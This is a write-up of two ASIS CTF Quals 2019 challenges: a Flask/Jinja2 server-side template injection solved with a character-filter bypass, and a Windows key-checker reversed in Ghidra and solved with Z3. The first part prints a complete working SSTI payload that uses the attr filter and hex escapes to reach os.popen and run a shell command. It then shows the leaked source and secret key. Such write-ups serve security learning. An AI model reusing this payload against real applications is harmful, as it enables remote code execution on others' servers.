I participated in ASIS CTF Quals 2019 as Harekaze with Korean friends. We gained 848 points and got the 37th place out of 585 teams, and I solved two challenges and gained 1061 points.
They say the Fort Knox is impenetrable, but as a friend of mine once said, give me ten brave men and I will conquer it!
Are you brave enough!
http://104.248.237.208:5000/
When we access the URL, the server shows us some links and a form.
The link for the source code is also provided as HTML comment.
<!--Source Code: /static/archive/Source -->
from flask import Flask, session
from flask_session import Session
from flask import request
from flask import render_template
from jinja2 import Template
import fort
Flask.secret_key = fort.SECKEY
app = Flask(__name__)
app.config['SESSION_TYPE'] = 'filesystem'
app.config['TEMPLATES_AUTO_RELOAD'] = True
Session(app)
@app.route("/")
def main():
return render_template("index.html")
@app.route("/ask", methods = ["POST"])
def ask():
question = request.form["q"]
for c in "._%":
if c in question:
return render_template("no.html", err = "no " + c)
try:
t = Template(question)
t.globals = {}
answer = t.render({
"history": fort.history(),
"credit": fort.credit(),
"trustworthy": fort.trustworthy()
})
except:
return render_template("no.html", err = "bad")
return render_template("yes.html", answer = answer)
@app.route("/door/<door>")
def door(door):
if fort.trustworthy():
return render_template("flag.html", flag = fort.FLAG)
doorNum = 0
if door is not None:
doorNum = int(door)
if doorNum > 0 and doorNum < 7:
fort.visit(doorNum)
return render_template("door.html", door = doorNum)
return render_template("no.html", err = "Door not found!")
Since request.form["q"]
is passed to Template()
, /ask
looks vulnerable to Server-Side Template Injection (SSTI). However, it seems to be difficult to exploit because the server rejects if the user input contains any one of ._%
.
So, how do we bypass these restrictions?
After reading through Jinja2 Documentation, I noticed that attr filter can be used for the alternative to access attributes of objects. For instance, ().__class__
can be replaced with ()|attr("\x5f\x5fclass\x5f\x5f")
.
Using these techniques, we can get the flag with {{((((()|attr("\x5f\x5fclass\x5f\x5f")|attr("\x5f\x5fbase\x5f\x5f")|attr("\x5f\x5fsubclasses\x5f\x5f"))()[59]|attr("\x5f\x5frepr\x5f\x5f")|attr("im\x5ffunc")|attr("func\x5fglobals"))["linecache"]|attr("os")|attr("popen"))("cat fort\x2epy")|attr("read"))()}}
.
from flask import Flask, session
SECKEY = "some random key for signing 70657529378630738104827452603621"
FLAG = "ASIS{Kn0cK_knoCk_Wh0_i5_7h3re?_4nee_Ane3,VVh0?_aNee0neYouL1k3!}"
CORRECT_BEHAVIOUR = list(map(int, "34515465413625214253"))
PERFECT_CREDIT = sum([ x for x in range(len(CORRECT_BEHAVIOUR)) ])
def history():
return session.get("history", [])
def visit(door):
session["history"] = history() + [door]
if len(session["history"]) > len(CORRECT_BEHAVIOUR):
session["history"] = session["history"][-len(CORRECT_BEHAVIOUR):]
def credit():
credit = 0
hst = history()
for i in range(len(hst)):
for j in range(len(hst) - i):
if hst[i + j] == CORRECT_BEHAVIOUR[j]:
credit += j
else:
break
return credit
def trustworthy():
return credit() == PERFECT_CREDIT
ASIS{Kn0cK_knoCk_Wh0_i5_7h3re?_4nee_Ane3,VVh0?_aNee0neYouL1k3!}
The Keymaker: Only the One can open the door. And only during that window can that door be opened.
Niobe: How do you know all this?
The Keymaker: I know because I must know. It is my purpose. It is the reason I am here. The same reason we are all here.
Attachments: key_maker.exe
We are given an x86_64 Windows binary. When we execute the binary, it asks for a license key and prints whether correct or not as below.
>key_maker.exe
KeyMaker is old, you are the one to help Neo!!
Please enter licence key: TEST
Sorry, given licence is invalid!
Using Ghidra, a tool for reverse-engineering that supports decompiling, disassembling, and so on, we can decompile the binary as below.
void FUN_00401530(int *a,int *b,int *c)
{
int k;
int j;
int i;
i = 0;
while (i < 4) {
j = 0;
while (j < 4) {
c[(longlong)i * 4 + (longlong)j] = 0;
k = 0;
while (k < 4) {
c[(longlong)i * 4 + (longlong)j] =
c[(longlong)i * 4 + (longlong)j] +
j + a[(longlong)i * 4 + (longlong)k] * b[(longlong)k * 4 + (longlong)j] + i;
k = k + 1;
}
j = j + 1;
}
i = i + 1;
}
return;
}
int check_key(char *user_input)
{
int iVar1;
long c_on_base_36;
long lVar2;
int return_value;
uint uVar3;
int result_f [16];
int result_e [16];
int result_d [16];
int result_c [16];
int result_b [16];
int result_a [16];
int third_part [16];
int second_part [16];
int first_part [16];
char c;
char local_38;
undefined local_37;
char local_28;
undefined local_27;
char local_23;
char local_22;
char local_21;
int j;
int i;
if (((user_input[0x10] == user_input[0x21]) && (user_input[0x10] == '_')) &&
((int)user_input[0x31] * (int)user_input[4] == 0x3c0f)) {
i = 0;
while (i < 0x10) {
c = user_input[(longlong)i];
if (((c < '0') || ('Z' < c)) && (i != 4)) {
return 0;
}
iVar1 = i;
if (i < 0) {
iVar1 = i + 3;
}
uVar3 = (uint)(i >> 0x1f) >> 0x1e;
local_21 = c;
lVar2 = strtol(&c,(char **)0x0,0x24);
first_part[(longlong)(int)((i + uVar3 & 3) - uVar3) + (longlong)(iVar1 >> 2) * 4] = lVar2;
i = i + 1;
}
i = 0;
while (i < 0x10) {
local_38 = user_input[(longlong)(i + 0x11)];
if ((local_38 < '0') || ('Z' < local_38)) {
return 0;
}
iVar1 = i;
if (i < 0) {
iVar1 = i + 3;
}
uVar3 = (uint)(i >> 0x1f) >> 0x1e;
local_37 = 0;
local_22 = local_38;
c_on_base_36 = strtol(&local_38,(char **)0x0,0x24);
second_part[(longlong)(int)((i + uVar3 & 3) - uVar3) + (longlong)(iVar1 >> 2) * 4] =
c_on_base_36;
i = i + 1;
}
i = 0;
while (i < 0x10) {
local_28 = user_input[(longlong)(i + 0x22)];
if (((local_28 < '0') || ('Z' < local_28)) && (i != 0xf)) {
return 0;
}
iVar1 = i;
if (i < 0) {
iVar1 = i + 3;
}
uVar3 = (uint)(i >> 0x1f) >> 0x1e;
local_27 = 0;
local_23 = local_28;
lVar2 = strtol(&local_28,(char **)0x0,0x24);
third_part[(longlong)(int)((i + uVar3 & 3) - uVar3) + (longlong)(iVar1 >> 2) * 4] = lVar2;
i = i + 1;
}
FUN_00401530(first_part,second_part,result_a);
FUN_00401530(second_part,first_part,result_b);
FUN_00401530(second_part,third_part,result_c);
FUN_00401530(third_part,second_part,result_d);
FUN_00401530(third_part,first_part,result_e);
FUN_00401530(first_part,third_part,result_f);
i = 0;
while (i < 4) {
j = 0;
while (j < 4) {
if (result_a[(longlong)j + (longlong)i * 4] !=
*(int *)(&DAT_00404040 + ((longlong)j + (longlong)i * 4) * 4)) {
return 0;
}
if (result_b[(longlong)j + (longlong)i * 4] !=
*(int *)(&DAT_00404080 + ((longlong)j + (longlong)i * 4) * 4)) {
return 0;
}
if (result_c[(longlong)j + (longlong)i * 4] !=
*(int *)(&DAT_004040c0 + ((longlong)j + (longlong)i * 4) * 4)) {
return 0;
}
if (result_d[(longlong)j + (longlong)i * 4] !=
*(int *)(&DAT_00404100 + ((longlong)j + (longlong)i * 4) * 4)) {
return 0;
}
if (result_e[(longlong)j + (longlong)i * 4] !=
*(int *)(&DAT_00404140 + ((longlong)j + (longlong)i * 4) * 4)) {
return 0;
}
if (result_f[(longlong)j + (longlong)i * 4] !=
*(int *)(&DAT_00404180 + ((longlong)j + (longlong)i * 4) * 4)) {
return 0;
}
j = j + 1;
}
i = i + 1;
}
return_value = 1;
}
else {
return_value = 0;
}
return return_value;
}
Some variables and functions are renamed for ease of understanding. Let’s take a look at the decompiled code.
if (((user_input[0x10] == user_input[0x21]) && (user_input[0x10] == '_')) &&
((int)user_input[0x31] * (int)user_input[4] == 0x3c0f)) {
This implies that user_input[0x10]
and user_input[0x21]
are both _
. Since the flag format is ASIS{…}
, we can guess that user_input[4]
is {
, and user_input[0x31]
is }
(ord('{') * ord('}') == 0x3c0f
).
i = 0;
while (i < 0x10) {
c = user_input[(longlong)i];
if (((c < '0') || ('Z' < c)) && (i != 4)) {
return 0;
}
iVar1 = i;
if (i < 0) {
iVar1 = i + 3;
}
uVar3 = (uint)(i >> 0x1f) >> 0x1e;
local_21 = c;
lVar2 = strtol(&c,(char **)0x0,0x24);
first_part[(longlong)(int)((i + uVar3 & 3) - uVar3) + (longlong)(iVar1 >> 2) * 4] = lVar2;
i = i + 1;
}
Characters must be between 0
and Z
except for the fifth character. After checking the characters, the program converts them to integers as base-36 character by character.
This procedure repeats three times to process the entire user input.
void FUN_00401530(int *a,int *b,int *c)
{
int k;
int j;
int i;
i = 0;
while (i < 4) {
j = 0;
while (j < 4) {
c[(longlong)i * 4 + (longlong)j] = 0;
k = 0;
while (k < 4) {
c[(longlong)i * 4 + (longlong)j] =
c[(longlong)i * 4 + (longlong)j] +
j + a[(longlong)i * 4 + (longlong)k] * b[(longlong)k * 4 + (longlong)j] + i;
k = k + 1;
}
j = j + 1;
}
i = i + 1;
}
return;
}
FUN_00401530(first_part,second_part,result_a);
FUN_00401530(second_part,first_part,result_b);
FUN_00401530(second_part,third_part,result_c);
FUN_00401530(third_part,second_part,result_d);
FUN_00401530(third_part,first_part,result_e);
FUN_00401530(first_part,third_part,result_f);
The program multiplies converted user input each other and stores the results in arrays.
i = 0;
while (i < 4) {
j = 0;
while (j < 4) {
if (result_a[(longlong)j + (longlong)i * 4] !=
*(int *)(&DAT_00404040 + ((longlong)j + (longlong)i * 4) * 4)) {
return 0;
}
if (result_b[(longlong)j + (longlong)i * 4] !=
*(int *)(&DAT_00404080 + ((longlong)j + (longlong)i * 4) * 4)) {
return 0;
}
if (result_c[(longlong)j + (longlong)i * 4] !=
*(int *)(&DAT_004040c0 + ((longlong)j + (longlong)i * 4) * 4)) {
return 0;
}
if (result_d[(longlong)j + (longlong)i * 4] !=
*(int *)(&DAT_00404100 + ((longlong)j + (longlong)i * 4) * 4)) {
return 0;
}
if (result_e[(longlong)j + (longlong)i * 4] !=
*(int *)(&DAT_00404140 + ((longlong)j + (longlong)i * 4) * 4)) {
return 0;
}
if (result_f[(longlong)j + (longlong)i * 4] !=
*(int *)(&DAT_00404180 + ((longlong)j + (longlong)i * 4) * 4)) {
return 0;
}
j = j + 1;
}
i = i + 1;
}
return_value = 1;
}
else {
return_value = 0;
}
return return_value;
Finally, the program compares the matrix products with arrays embedded in the binary.
So, how can we recover the flag? One idea I thought was using Z3, an SMT solver. Let’s write a solver using Z3.
import string
import struct
from z3 import *
def fun_00401530(a, b, c):
for i in range(4):
for j in range(4):
c[i * 4 + j] = 0
for k in range(4):
c[i * 4 + j] += a[i * 4 + k] * b[k * 4 + j] + i + j
table = string.digits + string.ascii_uppercase
def parse_int(x):
return int(x, 36) if x in table else 0
if __name__ == '__main__':
encrypted = []
with open('key_maker.exe', 'rb') as f:
f.seek(0x2840)
for _ in range(6):
encrypted.append(struct.unpack('<' + 'I' * 16, f.read(4 * 16)))
user_input = [Int('flag_%d' % x) for x in range(50)]
solver = Solver()
for c in user_input:
solver.add(0 <= c, c < 36)
for i, c in enumerate('ASIS{'):
solver.add(user_input[i] == parse_int(c))
solver.add(user_input[0x10] == 0)
solver.add(user_input[0x21] == 0)
solver.add(user_input[0x31] == 0)
first_part = user_input[:0x10]
second_part = user_input[0x11:0x11+0x10]
third_part = user_input[0x22:0x22+0x10]
results = [[0] * 16, [0] * 16, [0] * 16, [0] * 16, [0] * 16, [0] * 16]
fun_00401530(first_part, second_part, results[0])
fun_00401530(second_part, first_part, results[1])
fun_00401530(second_part, third_part, results[2])
fun_00401530(third_part, second_part, results[3])
fun_00401530(third_part, first_part, results[4])
fun_00401530(first_part, third_part, results[5])
for i in range(4):
for j in range(4):
solver.add(results[0][i * 4 + j] == encrypted[0][i * 4 + j])
solver.add(results[1][i * 4 + j] == encrypted[1][i * 4 + j])
solver.add(results[2][i * 4 + j] == encrypted[2][i * 4 + j])
solver.add(results[3][i * 4 + j] == encrypted[3][i * 4 + j])
solver.add(results[4][i * 4 + j] == encrypted[4][i * 4 + j])
solver.add(results[5][i * 4 + j] == encrypted[5][i * 4 + j])
r = solver.check()
if r == sat:
m = solver.model()
flag = ''
for c in user_input:
c = m[c].as_long()
flag += table[c] if c != 0 else '?'
print(flag)
else:
print('unsat :(')
Let’s execute it.
$ python solve.py
ASIS?7H3M47R1XXX?TR1NI7YANDNEO?O??K3YM4K3ROR4CLE3?
I was stuck here as I couldn’t guess the rest of the characters represented as ?
, however, Safflower-san solved this!
ASIS{7H3M47R1XXX_TR1NI7YANDNEO0O0_K3YM4K3ROR4CLE3}